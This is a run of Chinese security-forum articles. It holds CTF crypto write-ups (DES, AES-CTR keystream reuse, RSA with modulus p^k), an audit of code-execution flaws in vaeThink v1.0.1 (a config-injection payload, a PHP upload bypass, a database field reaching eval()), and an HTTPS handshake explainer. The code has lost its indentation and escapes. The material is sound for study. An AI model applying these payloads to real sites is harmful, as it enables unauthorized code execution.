tmp = [int(i) for i in list((m).ljust(64,"0"))]
global kkk
print(kkk)
for i in range(kkk):
tmp = tmp[32:] + [j^k for j,k in zip(tmp[:32],self.f(tmp[32:],sbkey[i if mark != 'd' else kkk-1-i]))]
return "".join([str(i) for i in self.permute(tmp[32:]+tmp[:32],self.IP_re)])
def des_encipher(self,m):
m = "".join([bin(ord(i))[2:].zfill(8) for i in m])
des_en = self.des_main(m,'e')
return "".join([chr(int(des_en[i*8:i*8+8],2)) for i in range(8)])
def des_decipher(self,c):
c = "".join([bin(ord(i))[2:].zfill(8) for i in c])
des_de = self.des_main(c,'d')
return "".join([chr(int(des_de[i*8:i*8+8],2)) for i in range(8)])
def test():
import base64
global kkk
while kkk >=0:
desobj = DES()
# cipher = desobj.des_encipher("12345678")
cipher = 'x01x19xe1+x92xd9x15%'
message1 = desobj.des_decipher(cipher)
print(message1)
kkk -= 1
if __name__=='__main__':
test()
解密结果（部分）：
16
▲↨^#Q
15
▲D0↑/
14
t-ÏEÏx§
13
y0ur9Ood
12
µp^Ûé=¹
11
)Á`rûÕû
10
Âoãªh♫áf
9
À¤Zz¢»‼
8
òðܤß
7
×Í♫9Ò↑5S
6
Bh¤~$)▲£
5
5£!P
ôËâ
4
&L
tT®
3
lÇ!@∟é
2
l§1?I}3{
1
/Ô☼5èB!±
0
¿B♣2t♂↑X
可以看出n为13，flag为`flag{y0ur9Ood}`
### FLAG值：
flag{y0ur9Ood}
## 0x01 warmup
#### 题目内容：
from Crypto.Cipher import AES
from Crypto.Util import Counter
from Crypto import Random
import binascii
import SocketServer
pad = lambda s: s + (16 - len(s) % 16) * chr(16 - len(s) % 16)
flag = "******************************************"
key = Random.get_random_bytes(16)
print binascii.b2a_hex(key)
prefix = Random.get_random_bytes(4)
suffix = Random.get_random_bytes(4)
def enc(plaintext):
count = Counter.new(64, prefix=prefix, suffix=suffix)
cipher = AES.new(key, AES.MODE_CTR, counter=count)
print(binascii.hexlify(pad(plaintext)))
return cipher.encrypt(pad(plaintext + flag))
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass
class EncHandler(SocketServer.BaseRequestHandler):
def handle(self):
self.request.sendall("Welcome to flag getting systemn")
while 1:
self.request.sendall("plaintext>")
plaintext = self.request.recv(1024).strip()
ciphertext = binascii.hexlify(enc(plaintext))
self.request.sendall("result>" + ciphertext + 'n')
if __name__ == "__main__":
HOST, PORT = "0.0.0.0", 7777
server = ThreadedTCPServer((HOST, PORT), EncHandler)
server.serve_forever()
### 操作内容：
很容易的一个题，一开始看题的时候没注意，想复杂了。
对于任意输入，服务器返回`输入+flag`的加密结果，加密使用CRT模式，这种模式是在模仿流密钥，其加密解密过程是相同的，都是使用一个固定的串和明文/密文异或，因此我们可以输入`'x00'*42`骗到密钥流，输入空拿到密钥流异或flag，再恢复即可。
from pwn import *
c = connect("08560bfda40f2691789fc1b246a80c4e.kr-lab.com",54321)
c.recv()
c.send(b"x00"*48+b"n") #远大于flag长度
lll="e2b68dc585359b6dbcb59566d28a5e2d6a1d3f33d0104bae4e49dcad21b17be4b1cbd206a30062eccab03985f72cdd335c1a0c34784e0d9"
c.send(b"n")
c.recv()
fff = "84daeca2fe0cab5b8fd4a750e5a76c180b781207e5717883772aeac80c87498781aeb037c7625089f3cd3f83f12adb35"
lll = [lll[i*2:(i+1)*2] for i in range(len(lll)//2)]
fff = [fff[i*2:(i+1)*2] for i in range(len(fff)//2)]
"".join([chr(int(i,16)^int(j,16)) for i ,j in zip(lll,fff)])
#Out: 'flag{9063a267-25ae-45a3-9c6e-62c0eb1db2e9}x06x06x06x06x06x06'
### FLAG值：
flag{9063a267-25ae-45a3-9c6e-62c0eb1db2e9}
## 0x02 Asymmetric
### 题目内容：
加密代码：
import gmpy2
import random
from Crypto.Util.number import *
from flag import flag
def generate_key(nbit):
p = getPrime(nbit)
r = random.randint(2, 10)
s = random.randint(r, nbit)
while True:
e = random.randint(3, p**r*(p-1))
if gmpy2.gcd(e, p**s*(p-1)) == 1:
break
pubkey = (long(e), long(p**r))
return pubkey
def crypt(msg, pkey):
e, n = pkey
m = bytes_to_long(msg)
assert m < n - 1
enc = pow(m, e, n)
return long_to_bytes(enc)
nbit = 1024
pubkey = generate_key(nbit)
print 'pubkey =', pubkey
msg = 'hi all' * 10
enc = crypt(msg, pubkey)
print 'enc =n', enc.encode('base64')
密文：
pubkey = (248309815142661136180073302980376803619705977366959693270058810404563021350338007281071383883831903024497596133229689774549213766349570956778715767539143970339908087304731528732564996040348115020609431227010200484497117772875250606299179587114075823811265905839014916703614278577968354369312451263091901390534945914292942970562870893708301865341953441632487803735211538243095165382323947906681651215791196650065823387203428114044501335592597819075394092043734179587377079955674671662188585221716102477984848953776465857188411599747246597328103152397666627655627005491689058916194813908858623274306110645928199662392872139642650671595093892107847799604703971172156119229953031815378106121345990077422974387220949797173711976787188913072108998779697772749938401406474626580049578975417587615147396792110346956937867348761995062133864363640767231588567781894065813828001740945758033599336067861379059956338356990135900504080617174555445136107814372760681551294646613252466183712199313977223613803686189678063250636555247448883195174298080468210768310277718744658002940987165125158577848671110839536506278215536576610503571560050726786412320215270852412958123787475255093453885464799925762520333712940605200199557027068045607345459686175L, 4006307385940912253570042286738053142617524847008607946541391516569779120316853980492316182904072540209214024288685737328789882847344519654614407687443672653525448815004632618499275791530547664890476357952142890004808452392363892486275621876520403569839433320423040694912893770147915665230998049003561944228763784333653730692631768525220945453209505079994348179014287995857873574506690160179935892048842106508910394241172372052281560488790564483218840698176403072987027734706203879569965860294327974048503563965223395943180216016469696098192276250299555690084872256682684254252105272552281670296067780176887666089426271639598305057005513602420778256623088970862826609088708369642042596173863202302528891978815309183890938374822185515946300490901423205096164963293545013390837648210987844036472136022431575741920101678062247840341951239454152418207004641573899650425382975774492764939456470152876875258935424956936626530116879L)
enc =
JAMUTe/ooQqWGxQvwLNgmGJXXS0vgBK/NGEQszHjAPwETPxDsujMvqYveyQ9sg+xXZJnrsG3UWBL
ZrI6DNdxAf7J69mUPeGH3hZ2FYogwQXujra1ljvtXE/b56rEwM5aGYvzriII5GFVrKhJc1cov3e7
OD7PiIWjvhBauFLoKVPJrtI6E0LqrS+rYhTt5/jvHJGCN2e9ZeB73DWQA0g+REDaWM51O4WG0AoI
3z6rP46XG/1wdP1B1i2faE2eLsZkA8H5pe9f8Z8av8TqAhm+23erBPNEz6y3gdOgC9HQRPiaSAX8
zWvFHicB20X8yo37Hn5P6SBbpJZJiwrAJRiXangSVgLYryTJk4P6Tpmg0Afwt4KGWjPBKcgyP5kE
PdSI7RUJh25jJEN0O0a7OFGfyYrFgqWVslshF6SXqBdCM1B4mpZqi/NlwMJs9mN66brfmMbu1qAO
XX8Ib7+PhCe4TEbeGquhIwwBASwsLWcbN2DOgLp6UdbR4Ie4HcxIQEPJ
### 操作内容：
使用p^k作为n，实际上和RSA是一样的，走RSA的流程即可。
1. n = 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048386573246756312509362222667015490013299327398464802116909245529065994770788125182846841016932803939806558559335886481214931253578226314057242462834149031625361286317307273138514126289052003214703248070256059405676891634792175775697355408418965738663732479622148276007308404691800186837579126431484536836513358124181380166971922188839934522356902295160649189850427580493328509329115798694580347461641487270793993129066433242544366683131231903590153844590595882428219010673818765995719694470668924781499987923250883546686344997580959954960334567874040563037167422839228466141912000421309282727363913908613116739074234989825489075148091144771967111113068647060175231126374070143480727000247378471525286907200601035581143391602569836131345909055708005758380081303860198696570649330092070410465978479841469533490522594827330661914537170063053059393550673731195548189192109328158876774080143171304333338291909598353550442855717204721
2. e = 58134567416061346246424950552806959952164141873988197038339318172373514096258823300468791726051378264715940131129676561677588167620420173326653609778206847514019727947838555201787320799426605222230914672691109516799571428125187628867529996213312357571123877040878478311539048041218856094075106182505973331343540958942283689866478426396304208219428741602335233702611371265705949787097256178588070830596507292566654989658768800621743910199053418976671932555647943277486556407963532026611905155927444039372549162858720397597240249353233285982136361681173207583516599418613398071006829129512801831381836656333723750840780538831405624097443916290334296178873601780814920445215584052641885068719189673672829046322594471259980936592601952663772403134088200800288081609498310963150240614179242069838645027877593821748402909503021034768609296854733774416318828225610461884703369969948788082261611019699410587591866516317251057371710851269512597271573573054094547368524415495010346641070440768673619729280827372954003276250541274122907588219152496998450489865181536173702554116251973661212376735405818115479880334020160352217975358655472929210184877839964775337545502851880977049299029101466287659419446724781305689536816523774995178046989696610897508786776845460908137698543091418571263630383061605011820139755322231913029643701770497299157169690586232187419462594477116374977216427311975598620616618808494138669546120288334682865354702356192972496556372279363023366842805886601834278434406709218165445335977049796015123909789363819484954615665668979
3. 通过<http://factordb.com/>可以分解 n = 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867 ** 4
4. p= 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867
5. 计算欧拉函数tn = (p-1)*p**(4-1) = 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048382020348554103492066896028626609141603744573014997594974840364196576805574290230717797680784015606678220685175613006381685316530283364526806329843215344864978506611708014826575549754215603111871041127737248061508062509954515180590709902872102201787798519930648214171173734330373307910703014829049876710184952770778694470622205331452485580509360278286073515670426732153881001924269015959417981453605383620989390641130390792523774173999641657942858554351928480041128101430744740512436200403546664177520578640886989763652571240609759845865663456876950525457470394172235559993902647624689429529649263626096716499718400531042263880808947216977594793497148996021186364184681200282011188790384440121901199558788032273541957257900641788680426431582660017327290705017613450049252441247990490420192447135186479915776636136170081178597601023790620339458199878480372174554744535931108868071240358214957464961122323694111668928235098273358
6. 求私钥 d = invert(e,tn) = 246147986232122522222945935166497181077425041862398601120195387712320320668518872220105275141998812980297487966166790627252138269690896904506351310111884097065720269620266438676878520737977175367219983199379896337289659505759915064579389742995197648778406174134619141885779959575893259706589078686468369934224819830380441408159157001221220006272848458925961856865957481441468977910310524702817391598685924029987182266666925247542967382511744481763491143359600475506219835081162285194819238822782586157524672021241688147776469107932108608614733173699997501684622008897839735803071479737831820615213472811927852485546491792632061225493011556559958048436081543373195780943616410013364904364189910609641011604973761655641640644240421733044416283033016214854248527848120863203309611651900474178577639838594642032729270144216036042626179871605108010066418412061098908069795528844683362447177767221536133092535251655422406812395458552873624709390942643779630423626540260879777817972852233172145227974851300408424539580993751911276200010091904304276075932206170667475223532012398457406488033971582373114546052355967855069052545027197494652214388104705729265794732282116974422654733131733167685515036576104862056823494603230646894054306744939
7. m = pow(c,d,n) = 13040004482825639935833218643688743654206267733344606731646835124964035844807067414996138109
转成字符串flag{ec33f669d2d659e2bc27dbffdfeb0f38}
第一次给的文件居然忘记加密flag，但是两次产生的n均可在线分解，即使不能分解依然可以进行求多次开方的根，尝试不多于10次也能分解。
### FLAG值：
flag{ec33f669d2d659e2bc27dbffdfeb0f38}
## 结语
今年初赛crypto比去年简单不少，甚至还拿出考研题凑数，希望后面的题目更have 4 fun。 | 社区文章 |
# vaeThink v1.0.1 代码执行漏洞挖掘分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 引言
本文是对一个小众CMS（vaeThink
v1.0.1）进行分析、代码执行漏洞挖掘和审计过程的记录，该CMS基于ThinkPHP5开发。作为一名代码审计的入门菜鸟，也希望能够将实践和学习的过程记录和分享，以期能够与大家共同交流进步。
## 0x02 分析
通过`git`将项目源码下载到本地，首先对项目源码目录结构进行了解：
www WEB部署目录（或者子目录）
├─app 应用目录
│ ├─common 公共模块目录
│ │ ├─model 公共模型目录
│ ├─admin 后台模块目录
│ │ ├─controller 模块控制器目录
│ │ ├─model 模块模型目录
│ │ ├─validate 模块验证器目录
│ ├─port API接口模块目录
│ │ ├─controller 模块控制器目录
│ │ ├─model 模块模型目录
│ │ ├─validate 模块验证器目录
│ ├─common.php 公共函数文件
│
├─data 数据目录
│ ├─conf 配置目录
│ │ ├─module_name 模块配置目录
│ │ ├─extra 额外配置目录
│ │ ├─command.php 命令行工具配置文件
│ │ ├─config.php 公共配置文件
│ │ ├─route.php 路由配置文件
│ │ ├─tags.php 应用行为扩展定义文件
│ │ └─database.php 数据库配置文件
│ ├─runtime 应用的运行时目录
│ └─install.lock 用于系统鉴定是否完成安装
│
├─public WEB目录（对外访问目录）
│ ├─plugin 插件目录
│ ├─themes 模板文件目录
│ └─admin_themes admin模块模板文件目录
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─listenrain 系统核心引擎目录
│ ├─thinkphp ThinkPHP5框架文件目录
│ ├─vae vaeThink框架核心类库目录
│
├─extend 扩展类库目录
├─vendor 第三方类库目录（Composer依赖库）
├─build.php 自动生成定义文件（参考）
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
得到CMS的项目源码后，不着急进行源码的白盒审计，可以先将CMS部署和运行起来，认识和了解其功能点，同时进行黑盒测试。
该CMS的部署比较简单，只要有`LAMP`的环境，并且将网站根目录指向`public`目录即可，接着根据提示安装。安装完成之后，访问该CMS直接出现登录页面：
**需要注意的是，一般在登录功能处可能存在SQL注入漏洞，但是本文着重挖掘代码执行漏洞的挖掘，因此其他类型会略过**
，我们继续通过安装时设置的管理员账号登入后台，进一步了解后台的其他功能点：
一般存在代码执行漏洞的地方，可能在如下这些功能模块：
1、网站配置文件写入
2、缓存cache文件写入
3、日志文件写入
4、文件上传
5、代码执行函数参数可控
从这5点出发，我们继续对该CMS进行挖掘。
## 0x03 配置、日志和缓存文件
在`系统/配置`菜单中，存在与网站信息、邮件和短信配置相关的功能页面。在不进行源码审计的情况下，首先查看数据库中的数据表和字段，发现没有存储和这些配置相关的信息，可以猜测这些信息可能直接经过处理后存储在某个配置文件中，经过对项目目录的大致了解，应该是在`data/conf`下。
我们输入特定的测试数据进行提交，并且通过`grep`过滤包含特定数据的文件：
欣喜地发现，输入的配置内容写入了`data/conf/extra/webconfig.php`中，并且同时注意到，输入的配置内容同样写入了日志文件`data/runtime/log/201905/1557823231-14.log`。
我们继续构造可控内容`'];phpinfo();//`，可以通过闭合前面的数组逃逸出来：
但是测试发现，可控内容前的`return`会直接返回，注入的代码并没有被执行。另外，注意一下配置文件的路径可以发现，`data`目录不是一个可以直接访问到的网站路径，
**除非能够配合其他的路径穿越或者文件包含漏洞才有更进一步的可能** ，这里的日志文件也是同理。
注意到`data`目录下还存在`cache`和`temp`目录，其中存储了一些缓存文件
除了和上面配置、日志文件存在同样的限制，这些缓存文件还通过`exit()`进行了安全处理：
## 0x04 文件上传
几条路暂时被堵死了不要慌，继续观察CMS的其他功能点。在管理员的`修改个人信息`页面，发现存在一个头像上传功能，简单选择一个`t.php`上传，页面提示文件类型错误，不排除这只是一个前端校验的可能，我们通过抓包修改文件后缀继续进行上传：
测试后发现这里的上传点果然只对文件后缀进行了前端校验，直接了当上传`.php`后缀的文件：
## 0x05 代码执行函数参数可控
该CMS除了头像功能点直接暴力的文件上传之外（过于简单。。），还有没有可能存在其他角度的漏洞点呢？
**比如用户输入可以直接作为某些代码执行函数的参数，导致任意代码执行**
。怀着疑问我们继续对CMS开始进一步的挖掘，`PHPStorm`启动！`XDebug`配置！
在PHP中常见的代码执行函数有`eval、system`等等，通过`command+shift+f`进行全局搜索这些函数名关键词来找到切入点。经过一番排查，最终定位到了一个比较可疑的地方`listenrain/vae/lib/Auth.php第194行中的getAuthList函数`：
我们继续从此处逆向回溯分析，查看该`污点`是否可被用户控制。
在`eval`函数中的参数存在一个变量`$command`：
该变量来自上一行的`$rule['condition']`，并且替换了`{(w*?)}`，但是没有进行其他的过滤操作：
`$command = preg_replace('/{(w*?)}/', '$user['\1']', $rule['condition']);`
`$rule`是从`186行 $rules =
Db::name($this->config['auth_rule'])->where($map)->field('condition,name')->select();`数据库中查询得到的数据的一部分。从作者的注释可以看到，读取的是`用户组所有权限规则`。
我们通过分析和函数名可以大致对该函数作用有了解，是对通过用户id获得用户组权限，并且返回权限列表。
继续查看`getAuthList`的调用情况，是在`check`函数中：
回溯`check`函数，发现调用在：
到此，基本可以确定在`管理员访问鉴权`功能模块中会触发此流程。接着下断点进行动态调试，便于对变量值的查看，我们选择菜单中的任何一个选项进行访问，执行流程会经过上述我们分析过的检查函数中：
**分析后可以确定，数据库中用户拥有的权限对应的规则的`condition`字段将会作为`eval()`的参数被执行**
接着继续确定数据表中的`condition`字段是否为用户可控，分析后可以发现，在后台的`系统/节点
http://127.0.0.1/index.php/admin/rule/index.html`页面中存在对该数据表的操作功能，而`附加规则`对应数据表中的`condition`字段：
尝试修改`附加规则`内容后，访问任意一个菜单中的页面，并动态调试观察:
可以看到，可控内容没有经过过滤，成功触发该`污点`：
## 0x06 结尾
本文针对`代码执行漏洞`，从配置文件、日志文件和缓存文件的写入，文件上传以及函数执行参数可控的角度对vaeThink
v1.0.1进行简单地挖掘和分析。全文内容比较简单，目的是记录和分享交流，请大佬轻喷。
最后，感谢阅读！ | 社区文章 |
* 文章比较长，赠于有缘人
# HTTPS简介
* HTTPS，是一种网络安全传输协议，在HTTP的基础上利用SSL/TLS来对数据包进行加密,以提供对网络服务器的身份认证，保护交换数据的隐私与完整性。
* TLS（Transport Layer Security）1.0是SSL（Secure Sockets Layer）3.0的升级版，安全套接字层协议，承担的角色都是一样的，是HTTPS方式握手以及传输数据的一个协议。只是改了名字，其中的八卦，感兴趣的朋友可以自己去搜索。
* HTTP(S)协议是在TCP/IP协议基础上建造的。
* TCP/IP协议的分层管理，按层次分为：应用层、传输层、网络层、数据链路层。（我们常说的四层协议、四层模型就是指的这个啦）
* 没有经过加密层时，数据传输的路径是：应用层->传输层->网络层->数据链路层
* 经过加密层之后，数据传输的路径是：应用层->SSL/TLS层->传输层->网络层->数据链路层
* 每层常见的协议：
* 应用层协议有：FTP、Telnet、SMTP、HTTP、RIP、NFS、DNS。
* 传输层协议有：TCP协议、UDP协议。
* 网络层协议有：IP协议、ICMP协议、ARP协议、RARP协议。
# HTTPS用途
* 防窃听：HTTPS协议对传输数据的内容加密，保障数据在传输过程的安全（加密传播）
* 防冒充：确认网站的真实性（身份证书）
* 防篡改：防止内容被第三方篡改（校验机制）
# HTTPS协议安全性
* HTTPS协议本身是安全的，并且能够保障数据传输安全、两端身份真实、以及检查数据是否被篡改。
* 但近几年有https相关的漏洞频发，如心血漏洞、中间人攻击、DROWN溺水攻击、FREAK漏洞、降维攻击、POODLE等（近期会将每个漏洞原理进行分析）。不由让人为https的安全性担忧，其实这个协议的逻辑一般是设计的非常安全了，即使出现问题，也会有大版本的升级(如TLS 1.0升级为TLS 1.1)。而且频发漏洞的并不是https协议本身，而是各个开源或商业服务在具体实现https时，出现了安全问题。
## https如何进行数据传输的？
* 大致流程是：进行握手流程建立https连接（此时是明文传输），然后再进行真正的数据传输（此时使用对称加密进行密文传输）
* 首先需要了解TLS/SSL协议握手的过程
## 握手过程
* 整个过程，如访问www.baidu.com
* 先进行DNS解析，再建立TCP连接，然后进行https握手，最后传输加密数据。
握手消息 | 动作描述 | 消息内容
---|---|---
1\. Client —> ClientHello —> Server |
客户端(浏览器)发送一个hello消息给服务端，发起建立SSL会话的请求。并告诉服务端，自己支持哪些加密算法(Cipher Suite
List)。除此之外，还需要产生一个随机数（第一个随机数，用于以后生成对称密钥），发送给服务端。 | 1）支持的协议版本，如TLS
1.0版<br/>2）由客户端生成的随机数，用于生成后面的“对称密钥”<br/>3）支持的加密方法，比如RSA公钥加密<br/>4）支持的压缩方法<br/>5）请求的域名<br/>
2\. Server —> ServerHello —> Client |
服务端的首次响应，会确定加密协议版本，以及加密的算法，也会生成一个随机数（第二个随机数）给客户端。 |
1）协议的版本<br/>2）加密的算法<br/>3）服务端生成的随机数<br/>
3\. Server —> Certificate —> Client |
还会把自己的证书发送给客户端，让客户端进行校验。服务端证书中的公钥也可被用于加密后面握手过程中生成的对称密钥。 | 1）服务端证书<br/>
_证书颁发机构的名称 <br/>_ 证书本身的数字签名<br/> _证书持有者公钥 <br/>_ 证书签名用到的Hash算法<br/>
4\. Server --> ServerKeyExchange —> Client |
指定使用哪种密钥协商协议。服务端可以在ServerKeyExchange之后立即发送CertificateRequest消息，要求校验客户端的证书。 |
1）使用哪种密钥协商方式<br/>2）密钥协商时客户端需要的信息
5\. Server —> ServerHelloDone —> Client |
服务器发送ServerHelloDone消息，告知客户端服务器这边握手相关的消息发送完毕。 |
6\. Client —> ClientKeyExchange —> Server | 消息中包含客户端这边的EC Diffie-Hellman算法相关参数，然后服务器和客户端都可根据接收到的对方参数和自身参数运算出对称密钥。 | 1）密钥协商时服务端需要的信息
7\. Client —> ChangeCipherSpec —> Server |
ChangeCipherSpec消息，通知服务器此消息以后客户端会以加密方式发送数据。 | 准备好了做加密传输的通知
8\. Client —> Finished —> Server |
客户端计算生成对称密钥，然后使用该对称密钥加密之前所有收发握手消息的Hash值，发送给服务器，服务器将相同的会话密钥（使用相同方法生成）解密此消息，校验其中的Hash值。
|
9\. Server —> ChangeCipherSpec —> Client |
ChangeCipherSpec消息，通知客户端此消息以后服务器会以加密方式发送数据。 | 准备好了做加密传输的通知
10\. Server — > Finished —> Client |
服务器使用对称密钥加密（生成方式与客户端相同）之前所发送的所有握手消息的hash值，发送给客户端去校验。 |
11\. Application Data | 真正的数据传输（使用对称加密）
### 1\. Client Hello
* 客户端发起TLS握手请求
struct {
ProtocolVersion client_version;
Random random;
SessionID session_id;
CipherSuite cipher_suites<2..2^16-2>;
CompressionMethod compression_methods<1..2^8-1>;
select (extensions_present) {
case false:
struct {};
case true:
Extension extensions<0..2^16-1>;
};
} ClientHello;
* 数据包括内容：
* ProtocolVersion／协议版本（客户端期望支持的握手[协议版本](https://tools.ietf.org/html/rfc5246#appendix-E)）
* Random／安全随机数（MasterSecret生成用到，协议文档里面说是28个字节，但是实际抓包看到是32个字节，这里怀疑是各个协议文档版本不同，还有使用加密套件的不同，导致的差异，具体博主就没有在继续深究了，如果有朋友知道可以留言给我）
* SessionID／会话ID
* 这个值是被服务端设置的，如果这个值为空，表示客户端与服务端没有存活的https会话，需要与服务端进行完整的握手。
* 如果这个值存在，则表明客户端期望恢复上一次的https会话，这时候客户端与服务端只需要进行快速的握手过程。（这里我们只会分析完整的握手过程进行学习）
* CipherSuite／加密套件（客户端支持的加密套件列表）
* 如果sessionid不为空，可以不传这个值，服务端可以从上一次会话中恢复这个值。
* 每个加密组件(Cipher Suite)都包括了下面5类算法 [TLS Cipher Suite Registry](https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-4)，图中百度使用的是就是 [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256](https://tools.ietf.org/html/rfc5289) 这个加密套件：
* 1、authentication (认证算法)：`RSA`
* 2、encryption (加密算法 )：`AEAD_AES_128_GCM`
* 3、message authentication code (消息认证码算法 简称MAC)：`SHA256`
* 4、key exchange (密钥交换算法)：`ECDHE`
* 5、key derivation function （密钥衍生算法)
* CompressionMethod／压缩方法
* 加密前进行数据压缩
* 因为压缩方法被攻击，在TLS1.3协议版本上已经彻底禁止压缩了。（这里有两种攻击方式BREACH、CRIME，有时间博主会来研究）
* Extension／扩展数据（session ticket在扩展里面，可见下图）
* 消息内容如下图：
### 2\. Server Hello
* 服务端回应Client Hello请求
struct {
ProtocolVersion server_version;
Random random;
SessionID session_id;
CipherSuite cipher_suite;
CompressionMethod compression_method;
select (extensions_present) {
case false:
struct {};
case true:
Extension extensions<0..2^16-1>;
};
} ServerHello;
* 主要发送数据内容：
* ProtocolVersion／握手协议版本
* 服务端最高支持的握手协议版本，TLS／SSL协议都是向下兼容的。
* Random／随机数
* 服务端生成32字节安全随机数（MasterSecret生成会用到）
* SessionID／会话ID
* 如果客户端hello有发送session id，服务端从内存中查找，并尝试恢复之前的会话状态。
* 恢复成功，服务端返回同样的session id。
* 恢复不成功，服务端此字段返回空。
* CipherSuite／加密组件
* 服务端从客户端hello的cipher suite列表中选择一个加密套件，如果是恢复上一次的会话，则从会话状态中恢复上一次相同的加密套件。
* CompressionMethod／压缩方法
* 服务端从客户端hello的compression_methods列表中选择一个压缩方法，如果是恢复上一次的会话，则从会话状态中恢复上一次相同的压缩方法。
* Extension／扩展（如下图）
* 消息如下面所示：
### 3\. Server Certificate
* 服务端发送的是一个证书链，可能包含多个证书
* 第一个证书为网站的证书。
* 第二个证书为颁发证书给网站的机构的证书。
* 在这个例子中第三个证书是CA机构的根证书，可以忽略不用发送，因为这个CA的根证书是CA自己给自己颁发的。
这里构成了一个证书信任链，也就是 GlobalSign Root CA信任GlobalSign Organization Validation
CA，而他又信任baidu.com的证书。
如下图所示：
* CA证书的类型有3类：DV ( domain validation)，OV ( organization validation)，EV ( extended validation)，证书申请难度从前往后递增。
* 证书中都包含了哪些信息？
```html
* 证书版本号(Version)
* 证书序列号(Serial Number)
* 签名算法标识符(Signature Algorithm)
签名算法标识用来指定由CA签发证书时所使用的"签名算法"。算法标识符用来指定CA签发证书时所使用的:
1) 公开密钥算法
2) hash算法
example: sha256WithRSAEncryption
须向国际知名标准组织(如ISO)注册
* 签发机构名(Issuer)
* 有效期(Validity)：指定证书的有效期
* 证书用户名(Subject)
* 证书持有者公开密钥信息(Subject Public Key Info)
证书持有者公开密钥信息域包含两个重要信息:
1) 证书持有者的公开密钥的值
2) 公开密钥使用的算法标识符。此标识符包含公开密钥算法和hash算法。
* 扩展项(extension)
* 签发者唯一标识符(Issuer Unique Identifier)
* 证书持有者唯一标识符(Subject Unique Identifier)
* 签名算法(Signature Algorithm)
* 签名值(Issuer's Signature)
```
* 如下图所示
#### 如何校验服务端证书呢？
* 签名的生成：CA先将证书信息生成hash摘要，然后再用CA机构的私钥进行加密。
* 签名的校验：使用CA机构的公钥进行解密签名，得到hash摘要A，再计算证书信息的hash摘要B。比对是否一致。
#### 详细解释服务端的证书是怎么生成的？
* 服务端的证书是由CA (Certificate Authority，证书认证中心)颁发的。他是一个负责发放和管理数字证书的第三方权威机构，它负责管理PKI（Public Key Infrastructure，公开密钥基础设施）结构下的所有用户(包括各种应用程序)的证书，把用户的公钥和用户的其他信息捆绑在一起，在网上验证用户的身份。
* 一般情况下网站方向CA申请一个证书。CA会给网站方生成一对非对称加密的`公钥`和`私钥`，公钥会做到证书里面，私钥则会给到网站方。
* CA会先做一个“数字签名”（生成过程：明文 --> hash运算 --> 摘要 --> 私钥加密 --> 数字签名）
* 就是将`网站方的信息`和`网站方的公钥`、`签名算法`等信息（就是Wireshark Packet 20中的数据，除了“签名值”），计算一个hash值（图中hash算法是SHA256），然后CA再用自己私钥做加密（图中公开密钥算法是RSA），最后的这个密文就是“数字签名”（也就是我们在图中看到“encrypted”签名值）。
* CA最后将“网站方信息”、“网站方公钥”、“签名算法”、“签名值”都做到证书里面（就是Wireshark Packet 20中的我们看到那些数据），证书就做好了，CA会把“证书”和“网站方的私钥”给到网站方。
#### CA怎么验证证书是不是自己颁发的呢？以及做证书内容校验？
* 首先浏览器（校验网站的证书）或操作系统（校验应用的证书），会在操作系统存储的系统信任的根证书里面去查找“证书颁发机构”是否是信任的。如下图系统根证书：
* 浏览器通常也会内置大多数主流权威CA的根证书。
* 如果查找不到对应的可信CA，则判断这个证书是伪造的，不可信的。（浏览器则会提醒该证书不是可信任机构颁发的，并询问是否要继续访问）
* 如果找到对应的CA机构，则取出`CA机构证书`里面的`公钥`信息，将`网站方证书`中的`签名值`（也就是数字签名）做解密，得到`网站证书`信息的hash摘要A。
* 然后将`网站证书`中的信息，做hash得到摘要B，比对摘要A和摘要B是否一致。如果不一致，说明`网站证书`中的信息被修改了。（浏览器则会提醒该证书不是可信任机构颁发的，并询问是否要继续访问）
* 如果摘要hash一致，则说明证书中的信息未被修改，这时浏览器会比对您现在正在访问的网站与证书中网站信息是否一致，比如域名是否一致、证书是否在有效期内等。（如果出现问题，浏览器将会提醒你，并询问是否要继续访问）
* 另外大部分浏览器也会在线校验证书，是否在有效期内（将证书序列号通过在线证书状态协议“OCSP”发送给CA做校验）。
* 证书校验成功，最后将从证书中取出网站方的`公钥`，用于后面的握手签名。
### 4\. Server Key Exchange
* 这个步骤是密钥协商的服务端部分，最终的密钥将会用于传输数据对称加密。
* 服务端需要发送一个Diffie-Hellman算法的公钥，和指定使用哪种椭圆曲线多项式。
* 我们到Client Key Exchange的时候，再来讲这个密钥协商过程。
* 这里还有一个签名，校验这个流程的数据是否被篡改。如下图所示，客户端收到Server Key Exchange数据后，可以用上个流程中获得的`证书`公钥对签名值解密，获得摘要A。并将这次数据明文做SHA512的hash，获得摘要B，做比对。（这里对协商算法做签名校验，目的可能是防止中间人对协商算法方式做篡改，虽然DH算法不担心公钥在不安全的网络中传输，但是其他算法可能需要考虑被篡改的情况。所以猜测服务端密钥协商时做签名是这个目的，因为服务端这时已经确定是DH算法了，所以客户端协商时就不需要做签名了，DH算法不需要考虑这个安全问题）
* 发送的数据如下图示：
### 5\. Server Hello Done
* 服务端发送ServerHelloDone消息表示，已经发送完了密钥协商需要的消息，并且客户端可以开始进行客户端的密钥协商处理了，也就是Client Key Exchange。
* 收到ServerHelloDone后，客户端需要确认服务器是否提供了合法的证书，并且确认服务器的ServerHello消息里面的参数是否可以接受。
### 6\. Client Key Exchange
